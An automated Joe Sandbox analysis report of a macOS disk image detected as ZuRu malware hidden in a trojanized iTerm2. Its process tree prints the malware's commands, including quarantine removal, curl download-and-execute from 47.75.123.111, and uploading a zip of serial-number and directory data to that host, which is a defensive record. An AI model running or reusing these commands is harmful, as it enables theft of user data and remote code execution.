Play interactive tour

Edit tour

macOS Analysis Report mUiLRcXJdd

Overview

General Information

Sample Name:	mUiLRcXJdd (renamed file extension from none to dmg)
Analysis ID:	144169
MD5:	b14c9a8c917c5f30c44ec3860c476e8b
SHA1:	a2651c95ed756d07fd204785072c951376010bd8
SHA256:	e5126f74d430ff075d6f7edcae0c95b81a5e389bf47e4c742618a042f378a3fa
Infos:
Most interesting Screenshot:

Detection

ZuRu

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected ZuRu

Sets full permissions to files and/or directories

Queries the unique Apple serial number of the machine

Uploads files by using the "curl" command and emulating a filled-in form

Lists all applications within the "Applications" directory

Process path indicates hidden application bundle (probably to disguise it)

Reads process information of other processes

Modifies application binary files in "Applications" directory

Contains symbols with suspicious names likely related to encryption

Executes the "kill" or "pkill" command typically used to terminate processes

Queries for attached disk images with shell command 'hdiutil'

Executes the "grep" command used to find patterns in files or piped streams

Writes Mach-O files to the tmp directory

Opens applications that might be created ones

Reads, modifies and/or removes extended attributes containing macOS specific file meta data

Executes the "chmod" command used to modify permissions

Writes PDF files to disk

Writes ZIP files to disk

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Reads launchservices plist files

Uses CFNetwork bundle containing interfaces for network communication (HTTP, sockets, and Bonjour)

Changes permissions of written Mach-O files

Executes commands using a shell command-line interpreter

Contains symbols with paths

Writes shell script file to disk with an unusual file extension

Reads user launchservices plist file containing default apps for corresponding file types

Contains symbols with suspicious names likely related to networking

Executes the "ioreg" command used to gather hardware information (I/O kit registry)

Writes Python files to disk

Reads the systems hostname

Writes shell script files to disk

Executes the "sleep" command used to delay execution and potentially evade sandboxes

Executes the "uname" command used to read OS and architecture name

Reads the sysctl safe boot value (probably to check if the system is in safe boot mode)

Writes JavaScript files to disk

Contains symbols with suspicious names likely related to well-known browsers

Writes icon files to disk

Writes files containing public keys to disk

Reads hardware related sysctl values

Executes the "python" command used to interpret Python scripts

Creates hidden files, links and/or directories

Reads the systems OS release and/or type

Writes 64-bit Mach-O files to disk

Many shell processes execute programs via execve syscall (might be indicative for malicious behavior)

Writes FAT Mach-O files to disk

Classification

General Information

Joe Sandbox Version:
Analysis ID:	144169
Start date:	15.09.2021
Start time:	17:33:14
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 18m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mUiLRcXJdd (renamed file extension from none to dmg)
Cookbook file name:	defaultmacfilecookbook.jbs
Analysis system description:	Mac Mini, Mojave (Java JDK 11.0.4, Adobe Reader 2019.012.20034, Flash 32.0.0.223)
Run name:	Potential for more IOCs and behavior
Analysis Mode:	default
Detection:	MAL
Classification:	mal76.troj.spyw.evad.mac@0/606@2/0
Warnings:	Show All Report size exceeded maximum capacity and may have missing behavior information.

Process Tree

System is mac-mojave

xpcproxy New Fork (PID: 1036, Parent: 1)

iTerm2 (MD5: 7f42a1d7525c06f80cd986b64e0507ba) Arguments: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2

hdiutil New Fork (PID: 1037, Parent: 1036)

sh New Fork (PID: 1044, Parent: 1036)

sh New Fork (PID: 1046, Parent: 1044)

sh New Fork (PID: 1047, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1050, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1051, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1052, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1053, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1054, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1055, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1056, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1057, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1058, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1059, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1060, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1061, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1062, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1063, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1064, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1065, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1066, Parent: 1046)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 0.1

sh New Fork (PID: 1067, Parent: 1046)

kill (MD5: fe76ba353dde8f926db017253ee3854c) Arguments: /bin/kill -0 1036

sh New Fork (PID: 1068, Parent: 1046)

xattr (MD5: e2ca6555fe4b8c6a97d1ced2156c9b69) Arguments: /usr/bin/xattr -d -r com.apple.quarantine /Applications/iTerm.app

Python (MD5: 7058b515356cdcf3fada0e8d34926c7d) Arguments: /usr/bin/python /usr/bin/xattr-2.7 -d -r com.apple.quarantine /Applications/iTerm.app

sh New Fork (PID: 1069, Parent: 1046)

open (MD5: 429e364174ecacaa7bd753b1d15a998e) Arguments: /usr/bin/open /Applications/iTerm.app

sh New Fork (PID: 1045, Parent: 1036)

sh New Fork (PID: 1048, Parent: 1045)

sh New Fork (PID: 1049, Parent: 1048)

sleep (MD5: 819cf284f59840e52b6b17f4ed2512e8) Arguments: /bin/sleep 5

sh New Fork (PID: 1076, Parent: 1048)

hdiutil (MD5: 6a08ca12fec7ff0315356432b8cfe31b) Arguments: /usr/bin/hdiutil detach /dev/disk2s1

xpcproxy New Fork (PID: 1070, Parent: 1)

iTerm2 (MD5: 7f42a1d7525c06f80cd986b64e0507ba) Arguments: /Applications/iTerm.app/Contents/MacOS/iTerm2

iTerm2 New Fork (PID: 1084, Parent: 1070)

iTermServer-3.4.9 (MD5: 659ec6b822e56fb452729d404b153be9) Arguments: /Users/ben/Library/Application Support/iTerm2/iTermServer-3.4.9 /Users/ben/Library/Application Support/iTerm2/iterm2-daemon-1.socket

iTermServer-3.4.9 New Fork (PID: 1087, Parent: 1084)

bash (MD5: 0313fd399b143fc40cd52a1679018305) Arguments: -bash

bash New Fork (PID: 1089, Parent: 1088)

bash New Fork (PID: 1090, Parent: 1089)

path_helper (MD5: 0403286476d3e8908d852969c2188790) Arguments: /usr/libexec/path_helper -s

sh New Fork (PID: 1099, Parent: 1070)

sh New Fork (PID: 1100, Parent: 1099)

curl (MD5: 28fe026db67bee7a3e38a3e32ef21241) Arguments: curl -sfo /tmp/g.py http://47.75.123.111/g.py

sh New Fork (PID: 1101, Parent: 1099)

chmod (MD5: d7df83ea3a49de5d07e0c1730e910852) Arguments: chmod 777 /tmp/g.py

sh New Fork (PID: 1102, Parent: 1099)

python (MD5: be65ae5f9bd784375fd70bec94da6a60) Arguments: python /tmp/g.py

Python (MD5: 8fedf0b5ee3045d5621b0518e9a4b375) Arguments: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python /tmp/g.py

sh New Fork (PID: 1103, Parent: 1102)

sh New Fork (PID: 1104, Parent: 1103)

uname (MD5: a1c51069ef3a88caedd3a7739941aaef) Arguments: uname -p

Python New Fork (PID: 1105, Parent: 1102)

file (MD5: d725683120811404841268af2b7df3a2) Arguments: file /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python

Python New Fork (PID: 1106, Parent: 1102)

file (MD5: d725683120811404841268af2b7df3a2) Arguments: file /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python

Python New Fork (PID: 1107, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c bash -c ls /

bash (MD5: 0313fd399b143fc40cd52a1679018305) Arguments: bash -c ls /

ls (MD5: 7d44a2a25ece071c8da220e1839715e8) Arguments: ls

Python New Fork (PID: 1108, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c ioreg -l | grep IOPlatformSerialNumber >>/Users/ben/Library/Logs/tmp/root.txt

sh New Fork (PID: 1109, Parent: 1108)

ioreg (MD5: ddc32a8ac1099a7e5e782c0963b5ef08) Arguments: ioreg -l

sh New Fork (PID: 1110, Parent: 1108)

grep (MD5: e1a87983928499c3350fe1775def5d49) Arguments: grep IOPlatformSerialNumber

Python New Fork (PID: 1111, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c echo ls -la ~/ >>/Users/ben/Library/Logs/tmp/root.txt

Python New Fork (PID: 1112, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c ls -la ~/ >>/Users/ben/Library/Logs/tmp/root.txt

sh New Fork (PID: 1113, Parent: 1112)

ls (MD5: 7d44a2a25ece071c8da220e1839715e8) Arguments: ls -la /Users/ben/

Python New Fork (PID: 1114, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c echo ls -la /Applications >>/Users/ben/Library/Logs/tmp/root.txt

Python New Fork (PID: 1115, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c ls -la /Applications >>/Users/ben/Library/Logs/tmp/root.txt

sh New Fork (PID: 1116, Parent: 1115)

ls (MD5: 7d44a2a25ece071c8da220e1839715e8) Arguments: ls -la /Applications

Python New Fork (PID: 1117, Parent: 1102)

sh (MD5: 348affb69862798fd7b2f8874437f649) Arguments: /bin/sh -c ioreg -l | grep IOPlatformSerialNumber

sh New Fork (PID: 1118, Parent: 1117)

ioreg (MD5: ddc32a8ac1099a7e5e782c0963b5ef08) Arguments: ioreg -l

sh New Fork (PID: 1119, Parent: 1117)

grep (MD5: e1a87983928499c3350fe1775def5d49) Arguments: grep IOPlatformSerialNumber

sh New Fork (PID: 1120, Parent: 1102)

curl (MD5: 28fe026db67bee7a3e38a3e32ef21241) Arguments: curl -F file=@/Users/ben/Library/Logs/tmp.zip http://47.75.123.111/u.php?id=C07SW433G1HW -v

sh New Fork (PID: 1121, Parent: 1099)

curl (MD5: 28fe026db67bee7a3e38a3e32ef21241) Arguments: curl -sfo /tmp/GoogleUpdate http://47.75.123.111/GoogleUpdate

sh New Fork (PID: 1122, Parent: 1099)

chmod (MD5: d7df83ea3a49de5d07e0c1730e910852) Arguments: chmod 777 /tmp/GoogleUpdate

sh New Fork (PID: 1123, Parent: 1099)

GoogleUpdate (MD5: 47d774e5307215c7c11151211c8d3ce2) Arguments: /tmp/GoogleUpdate

GoogleUpdate New Fork (PID: 1124, Parent: 1123)

xpcproxy New Fork (PID: 1071, Parent: 1)

pidinfo (MD5: e3eb93ec4c1d3cb294d265c29360cb18) Arguments: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/MacOS/pidinfo

bash New Fork (PID: 1072, Parent: 1071)

bash New Fork (PID: 1073, Parent: 1072)

xpcproxy New Fork (PID: 1075, Parent: 1)

iTerm2 (MD5: 7f42a1d7525c06f80cd986b64e0507ba) Arguments: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2

hdiutil New Fork (PID: 1080, Parent: 1075)

cleanup

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: iTerm2 PID: 1036	JoeSecurity_ZuRu	Yara detected ZuRu	Joe Security

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

Source: submission	Mach-O header: dylib_command -> /System/Library/Frameworks/Security.framework/Versions/A/Security
Source: submission	Mach-O header: dylib_command -> /System/Library/Frameworks/Security.framework/Versions/A/Security

Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _CCCrypt
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(crypt_commoncrypto.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _CCCrypt
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(crypt_commoncrypto.c.o)

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)

File created 'PUBLIC KEY' pattern: /Applications/iTerm.app/Contents/Resources/rsa_pub.pem

Jump to dropped file

Source: unknown	HTTPS traffic detected: 172.67.184.27:443 -> 192.168.0.51:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.211.32.74:443 -> 192.168.0.51:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.211.32.74:443 -> 192.168.0.51:49780 version: TLS 1.2

Source: /Users/ben/Library/Application Support/iTerm2/iTermServer-3.4.9 (PID: 1084)	Writes from socket in process: data			Jump to behavior
Source: /private/tmp/GoogleUpdate (PID: 1124)	Writes from socket in process: data			Jump to behavior

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 17.253.57.209
Source: unknown	TCP traffic detected without corresponding DNS query: 17.253.57.209
Source: unknown	TCP traffic detected without corresponding DNS query: 17.253.57.209
Source: unknown	TCP traffic detected without corresponding DNS query: 17.57.12.11
Source: unknown	TCP traffic detected without corresponding DNS query: 17.57.12.11
Source: unknown	TCP traffic detected without corresponding DNS query: 17.57.12.11
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111
Source: unknown	TCP traffic detected without corresponding DNS query: 47.75.123.111

Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: http://certs.apple.com/wwdrg3.der01
Source: colors.txt.305.dr	String found in binary or memory: http://chir.ag/projects/ntc/ntc.js
Source: colors.txt.305.dr	String found in binary or memory: http://creativecommons.org/licenses/by/2.5/
Source: CodeResources0.305.dr	String found in binary or memory: http://crl.apple.com/applerootcag3.crl0
Source: iTerm2, 00001036.00000305.1.000000010f94f000.000000010f95a000.r--.sdmp	String found in binary or memory: http://crl.apple.com/codesigning.crl0
Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: http://crl.apple.com/root.crl0
Source: Autoupdate.305.dr	String found in binary or memory: http://crl.apple.com/timestamp.crl0
Source: CFNetworkDownload_L6qCpY.tmp.369.dr	String found in binary or memory: http://iterm2.com/appcasts/final.xml
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: http://iterm2.com/captured_output.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: http://iterm2.com/captured_output.htmlkeyclickm4aWindow
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: http://iterm2.com/shell_integration.html
Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: http://ocsp.apple.com/ocsp03-applerootca0.
Source: CodeResources0.305.dr	String found in binary or memory: http://ocsp.apple.com/ocsp03-applerootcag307
Source: CodeResources0.305.dr	String found in binary or memory: http://ocsp.apple.com/ocsp03-asica4020
Source: Autoupdate.305.dr	String found in binary or memory: http://ocsp.apple.com/ocsp03-devid060
Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: http://ocsp.apple.com/ocsp03-wwdrg3050
Source: iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp, CFNetworkDownload_L6qCpY.tmp.369.dr	String found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle
Source: iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	String found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle-
Source: iTerm2, 00001070.00000369.1.0000000110995000.00000001109df000.r--.sdmp, iTerm2, 00001070.00000369.1.00000001109e5000.00000001109f4000.r--.sdmp	String found in binary or memory: http://www.apple.com/Copyright
Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: iTerm2, 00001036.00000305.1.000000010f94f000.000000010f95a000.r--.sdmp	String found in binary or memory: http://www.apple.com/appleca/root.crl0
Source: Autoupdate.305.dr	String found in binary or memory: http://www.apple.com/appleca0
Source: Autoupdate.305.dr	String found in binary or memory: http://www.apple.com/certificateauthority/0
Source: iTerm2, 00001036.00000305.1.000000010f94f000.000000010f95a000.r--.sdmp	String found in binary or memory: http://www.apple.com/certificateauthority0
Source: iTerm2, 00001036.00000305.9.0000000111daf000.0000000111f66000.r--.sdmp	String found in binary or memory: http://www.apple.com/http://www.apple.com/Copyright
Source: iTerm2, 00001070.00000369.1.00000001102ac000.00000001104ba000.r--.sdmp	String found in binary or memory: http://www.gnome.org/contact/http://www.bitstream.com/font_rendering/products/dev_fonts/vera.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: http://www.iterm2.com/coprocesses.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: http://www.iterm2.com/coprocesses.html-
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: http://www.iterm2.com/smartselection.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://explainshell.com/explain?cmd=example
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://explainshell.com/explain?cmd=exampleCFBundleDisplayNameCFBundleNameexplainshell.comhttps/exp
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://github.com/sponsors/gnachman
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://github.com/sponsors/gnachmanGitHub
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://gitlab.com/gnachman/iterm2/uploads/
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://gitlab.com/gnachman/iterm2/wikis/TmuxIntegration
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://google.com/search?q=%
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com//tmux22bug.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com//tmux22bug.htmlDo
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/3.3/documentation-status-bar.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/Home
Source: Info.plist	String found in binary or memory: https://iterm2.com/appcasts/final_modern.xml
Source: CFNetworkDownload_L6qCpY.tmp.369.dr	String found in binary or memory: https://iterm2.com/appcasts/full_changes.txt
Source: Info.plist	String found in binary or memory: https://iterm2.com/appcasts/testing_modern.xml
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/automatic-profile-switching.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/badges.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/bugs
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/bugsReport
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/captured_output.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/clock-status-bar-component-help
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/coprocesses.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/credits
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/creditsCreditshttps://iterm2.com/patrons.txtError
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-copymode.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-copymode.html-
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-csiu.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-csiu.html-
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-session-title.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-session-title.htmliterm2.set_title
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-shell-integration.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/documentation-shell-integration.htmlhttps://www.iterm2.com/documentation-utilitie
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/download.sh
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/downloads/pyenv/betamanifest.json
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/downloads/pyenv/betamanifest.jsonScripting:
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/downloads/pyenv/manifest.json
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/downloads/pyenv/manifest.jsonScripting:
Source: CFNetworkDownload_L6qCpY.tmp.369.dr	String found in binary or memory: https://iterm2.com/downloads/stable/iTerm2-3_4_8.zip
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/dynamic-profiles.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/images.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/paste_bracketing
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/paste_bracketing-
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/patrons.txt
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/python-api
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/python-api-auth.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/python-api-security-model
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/python-api-security-modelNew
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/regex
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/regexkMGTPEY%
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/search_syntax.html
